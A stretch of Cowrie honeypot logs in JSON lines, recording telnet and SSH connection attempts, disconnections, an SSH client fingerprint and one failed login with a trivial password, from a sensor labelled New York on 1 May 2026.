{"eventid":"cowrie.session.closed","duration":35.27695369720459,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:34.788517Z","src_ip":"159.203.13.64","session":"acf65a04dee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37418,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0a0fd0f3e0c","protocol":"telnet","message":"New connection: 159.203.13.64:37418 (10.17.0.5:23) [session: d0a0fd0f3e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:35.807537Z"}
{"eventid":"cowrie.session.closed","duration":46.59463977813721,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:36.003122Z","src_ip":"159.203.13.64","session":"4236d5de91f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34986,"dst_ip":"159.203.135.109","dst_port":22,"session":"30da186e6ca5","protocol":"ssh","message":"New connection: 159.203.92.129:34986 (159.203.135.109:22) [session: 30da186e6ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:36.008568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:36.015583Z","src_ip":"159.203.92.129","session":"30da186e6ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:36.020437Z","src_ip":"159.203.92.129","session":"30da186e6ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alikes","password":"123456","message":"login attempt [alikes/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:36.032645Z","src_ip":"159.203.92.129","session":"30da186e6ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:37.038953Z","src_ip":"159.203.92.129","session":"30da186e6ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37422,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b60e08a7ea6","protocol":"telnet","message":"New connection: 159.203.13.64:37422 (10.17.0.5:23) [session: 6b60e08a7ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:37.793197Z"}
{"eventid":"cowrie.session.closed","duration":34.70364952087402,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:38.350989Z","src_ip":"80.252.221.197","session":"edaee381bcc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37426,"dst_ip":"10.17.0.5","dst_port":23,"session":"72998a2a3b58","protocol":"telnet","message":"New connection: 159.203.13.64:37426 (10.17.0.5:23) [session: 72998a2a3b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:39.898619Z"}
{"eventid":"cowrie.session.closed","duration":40.54561734199524,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:41.379047Z","src_ip":"159.203.13.64","session":"2a6e4e27029e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.33841824531555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:42.106267Z","src_ip":"159.203.13.64","session":"4f75e65b6311","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":39136,"dst_ip":"159.203.135.109","dst_port":23,"session":"de73d2367a03","protocol":"telnet","message":"New connection: 80.252.221.197:39136 (159.203.135.109:23) [session: de73d2367a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:44.207645Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":39144,"dst_ip":"159.203.135.109","dst_port":23,"session":"4694fec35a2c","protocol":"telnet","message":"New connection: 80.252.221.197:39144 (159.203.135.109:23) [session: 4694fec35a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:45.132905Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":39156,"dst_ip":"159.203.135.109","dst_port":23,"session":"0499c6e67319","protocol":"telnet","message":"New connection: 80.252.221.197:39156 (159.203.135.109:23) [session: 0499c6e67319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:45.169827Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59988,"dst_ip":"10.17.0.5","dst_port":23,"session":"83af51e887d6","protocol":"telnet","message":"New connection: 159.203.13.64:59988 (10.17.0.5:23) [session: 83af51e887d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:45.264893Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":39168,"dst_ip":"159.203.135.109","dst_port":23,"session":"115982651999","protocol":"telnet","message":"New connection: 80.252.221.197:39168 (159.203.135.109:23) [session: 115982651999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:45.323037Z"}
{"eventid":"cowrie.session.closed","duration":35.107853174209595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:45.440574Z","src_ip":"80.252.221.197","session":"7910f2f2824e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.317036390304565,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:45.657670Z","src_ip":"159.203.13.64","session":"3bc39af25610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.38852286338806,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:48.323888Z","src_ip":"159.203.13.64","session":"6eb75ec083a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60004,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce10bfe6738c","protocol":"telnet","message":"New connection: 159.203.13.64:60004 (10.17.0.5:23) [session: ce10bfe6738c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:48.555503Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60008,"dst_ip":"10.17.0.5","dst_port":23,"session":"480e88bc4010","protocol":"telnet","message":"New connection: 159.203.13.64:60008 (10.17.0.5:23) [session: 480e88bc4010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:50.258334Z"}
{"eventid":"cowrie.session.closed","duration":33.939778327941895,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:50.936819Z","src_ip":"159.203.13.64","session":"97a8fdc92ee0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.3234543800354,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:51.900842Z","src_ip":"159.203.13.64","session":"ba5789ba3bdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46182,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d7ae7b5d8d0","protocol":"telnet","message":"New connection: 159.203.13.64:46182 (10.17.0.5:23) [session: 3d7ae7b5d8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:52.516942Z"}
{"eventid":"cowrie.session.closed","duration":38.38559937477112,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:52.622214Z","src_ip":"159.203.13.64","session":"8402c74ff4c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.91292190551758,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:52.752799Z","src_ip":"159.203.13.64","session":"805bebed1b2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.116536378860474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:53.161759Z","src_ip":"80.252.221.197","session":"9ab5c4cdf283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46194,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b71a89917d4","protocol":"telnet","message":"New connection: 159.203.13.64:46194 (10.17.0.5:23) [session: 1b71a89917d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:53.719422Z"}
{"eventid":"cowrie.session.closed","duration":34.34097695350647,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:55.458096Z","src_ip":"80.252.221.197","session":"54fe24ffbfdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46198,"dst_ip":"10.17.0.5","dst_port":23,"session":"2403c21d2da6","protocol":"telnet","message":"New connection: 159.203.13.64:46198 (10.17.0.5:23) [session: 2403c21d2da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:55.647083Z"}
{"eventid":"cowrie.session.closed","duration":35.75359845161438,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:55.746584Z","src_ip":"80.252.221.197","session":"c065c20081dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.176963329315186,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:56.240232Z","src_ip":"159.203.13.64","session":"ce1f3ced9fd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.75112557411194,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:56.922477Z","src_ip":"159.203.13.64","session":"480fb52806ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46212,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef2caccc52e5","protocol":"telnet","message":"New connection: 159.203.13.64:46212 (10.17.0.5:23) [session: ef2caccc52e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:57.034327Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46226,"dst_ip":"10.17.0.5","dst_port":23,"session":"18f192a9f575","protocol":"telnet","message":"New connection: 159.203.13.64:46226 (10.17.0.5:23) [session: 18f192a9f575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:59.140574Z"}
{"eventid":"cowrie.session.closed","duration":36.68970823287964,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:43:59.801170Z","src_ip":"159.203.13.64","session":"cebbd1c038bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46240,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4c868e0b653","protocol":"telnet","message":"New connection: 159.203.13.64:46240 (10.17.0.5:23) [session: f4c868e0b653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:00.007796Z"}
{"eventid":"cowrie.session.closed","duration":40.097389459609985,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:00.212812Z","src_ip":"80.252.221.197","session":"3cc33087e6bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.47348189353943,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:01.071873Z","src_ip":"159.203.13.64","session":"ac05e5dd6ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37594,"dst_ip":"10.17.0.5","dst_port":23,"session":"02fb215f927d","protocol":"telnet","message":"New connection: 159.203.13.64:37594 (10.17.0.5:23) [session: 02fb215f927d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:01.283538Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37596,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3819f951ba1","protocol":"telnet","message":"New connection: 159.203.13.64:37596 (10.17.0.5:23) [session: f3819f951ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:02.004283Z"}
{"eventid":"cowrie.session.closed","duration":41.47193694114685,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:02.681524Z","src_ip":"159.203.13.64","session":"a46962e4ce1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.83848214149475,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:04.778521Z","src_ip":"80.252.221.197","session":"ddc5fb628957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45654,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed0126da25ba","protocol":"telnet","message":"New connection: 80.252.221.197:45654 (159.203.135.109:23) [session: ed0126da25ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:06.439002Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37606,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f6b5bd95937","protocol":"telnet","message":"New connection: 159.203.13.64:37606 (10.17.0.5:23) [session: 7f6b5bd95937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:06.913391Z"}
{"eventid":"cowrie.session.closed","duration":42.078492641448975,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:07.488285Z","src_ip":"159.203.13.64","session":"d6ac9dd38b7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37612,"dst_ip":"10.17.0.5","dst_port":23,"session":"3885de4dd94f","protocol":"telnet","message":"New connection: 159.203.13.64:37612 (10.17.0.5:23) [session: 3885de4dd94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:08.996924Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59424,"dst_ip":"10.17.0.5","dst_port":23,"session":"33c9377b2c18","protocol":"telnet","message":"New connection: 159.203.13.64:59424 (10.17.0.5:23) [session: 33c9377b2c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:10.753267Z"}
{"eventid":"cowrie.session.closed","duration":41.88270854949951,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:11.151135Z","src_ip":"159.203.13.64","session":"0e9e3d7dd2ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.909125328063965,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:12.626925Z","src_ip":"159.203.13.64","session":"fac3005c6359","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.45987606048584,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:14.252949Z","src_ip":"159.203.13.64","session":"6b60e08a7ea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59436,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c01159260ac","protocol":"telnet","message":"New connection: 159.203.13.64:59436 (10.17.0.5:23) [session: 5c01159260ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:14.448399Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59440,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5a7121db75f","protocol":"telnet","message":"New connection: 159.203.13.64:59440 (10.17.0.5:23) [session: f5a7121db75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:14.499326Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59444,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3e653d450f0","protocol":"telnet","message":"New connection: 159.203.13.64:59444 (10.17.0.5:23) [session: f3e653d450f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:14.521801Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50244,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b15b8127bd9","protocol":"telnet","message":"New connection: 80.252.221.197:50244 (159.203.135.109:23) [session: 6b15b8127bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:14.645188Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50250,"dst_ip":"159.203.135.109","dst_port":23,"session":"588dd4fa255b","protocol":"telnet","message":"New connection: 80.252.221.197:50250 (159.203.135.109:23) [session: 588dd4fa255b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:14.948983Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50266,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3736951d8a8","protocol":"telnet","message":"New connection: 80.252.221.197:50266 (159.203.135.109:23) [session: f3736951d8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:15.422489Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50274,"dst_ip":"159.203.135.109","dst_port":23,"session":"51f1ebeae27f","protocol":"telnet","message":"New connection: 80.252.221.197:50274 (159.203.135.109:23) [session: 51f1ebeae27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:15.562659Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59450,"dst_ip":"10.17.0.5","dst_port":23,"session":"0579bab5cc30","protocol":"telnet","message":"New connection: 159.203.13.64:59450 (10.17.0.5:23) [session: 0579bab5cc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:15.820112Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59462,"dst_ip":"10.17.0.5","dst_port":23,"session":"10dea489c6e1","protocol":"telnet","message":"New connection: 159.203.13.64:59462 (10.17.0.5:23) [session: 10dea489c6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:15.924790Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50284,"dst_ip":"159.203.135.109","dst_port":23,"session":"351f2c4fbd4c","protocol":"telnet","message":"New connection: 80.252.221.197:50284 (159.203.135.109:23) [session: 351f2c4fbd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:16.630157Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50298,"dst_ip":"159.203.135.109","dst_port":23,"session":"b74e1540c245","protocol":"telnet","message":"New connection: 80.252.221.197:50298 (159.203.135.109:23) [session: b74e1540c245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:17.264342Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50300,"dst_ip":"159.203.135.109","dst_port":23,"session":"986a58ca70fd","protocol":"telnet","message":"New connection: 80.252.221.197:50300 (159.203.135.109:23) [session: 986a58ca70fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:17.363763Z"}
{"eventid":"cowrie.session.closed","duration":32.258784532547,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:17.523561Z","src_ip":"159.203.13.64","session":"83af51e887d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.972840309143066,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:17.871336Z","src_ip":"159.203.13.64","session":"72998a2a3b58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59464,"dst_ip":"10.17.0.5","dst_port":23,"session":"939112603040","protocol":"telnet","message":"New connection: 159.203.13.64:59464 (10.17.0.5:23) [session: 939112603040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:18.069886Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59476,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff66b65c2403","protocol":"telnet","message":"New connection: 159.203.13.64:59476 (10.17.0.5:23) [session: ff66b65c2403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:19.951099Z"}
{"eventid":"cowrie.session.closed","duration":36.48971724510193,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:20.697263Z","src_ip":"80.252.221.197","session":"de73d2367a03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.84017205238342,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:21.009872Z","src_ip":"80.252.221.197","session":"0499c6e67319","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46980,"dst_ip":"159.203.135.109","dst_port":22,"session":"d583a39abcfc","protocol":"ssh","message":"New connection: 159.203.92.129:46980 (159.203.135.109:22) [session: d583a39abcfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:21.111790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:21.116772Z","src_ip":"159.203.92.129","session":"d583a39abcfc","protocol":"ssh"}
